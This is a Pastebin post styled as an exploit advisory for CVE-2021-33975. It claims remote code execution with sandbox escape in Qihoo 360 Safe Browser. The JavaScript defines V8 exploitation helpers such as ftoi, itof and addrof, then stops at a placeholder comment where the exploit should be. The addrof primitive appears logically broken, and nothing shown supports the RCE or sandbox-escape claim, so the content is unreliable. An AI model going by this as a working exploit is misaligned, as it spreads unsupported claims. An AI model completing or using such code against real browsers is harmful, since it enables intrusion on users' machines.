CVE-2021-33975: CVE-2021-33975 - Pastebin.com

# Exploit Title: Qihoo 360 Safe Browser v13.0.2170.0 - RCE with Sandbox Escape

# Google Dork: N/A

# Date: 2021-05-11

# Exploit Author: youtube.com/@memorycorruptor

# Vendor Homepage: https://browser.360.cn/se/ & https://browser.360.cn/ee/

# Version: Qihoo 360 Safe Browser v13.0.2170.0

# Tested on: Windows x64 / Linux Debian x64 / MacOS

# CVE: CVE-2021-33975

# PoC Video: https://www.youtube.com/@memorycorruptor/videos

# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html

---------------------------------------------------------------------------

Qihoo 360 Safe Browser v13.0.2170.0 is a web browser built on the Chrome engine, specifically using the V8 JavaScript engine. A recently discovered RCE vulnerability within this version allows attackers to execute arbitrary code on a victim’s computer remotely.

function trigger() {

let o = {a: 1};

let p = new Proxy(o, {});

p.__proto__ = {};

p.__proto__.x = 0;

let b = new ArrayBuffer(8);

let f64 = new Float64Array(b);

let u32 = new Uint32Array(b);

function ftoi(val) {

f64[0] = val;

return BigInt(u32[0]) + (BigInt(u32[1]) << 32n);

}

function itof(val) {

u32[0] = Number(val & 0xffffffffn);

u32[1] = Number(val >> 32n);

return f64[0];

}

function addrof(obj) {

o.a = obj;

return ftoi(p.x);

}

// Exploit code goes here

}

The RCE vulnerability can allow an attacker to execute arbitrary code on the victim’s computer, potentially leading to data theft, unauthorized access, or other malicious actions. Users should update to the latest version of Qihoo 360 Chrome or an alternative browser to mitigate this vulnerability. Browser developers should apply patches to the V8 engine and ensure that proper handling of JavaScript objects is implemented to prevent such issues in the future.

---------------------------------------------------------------------------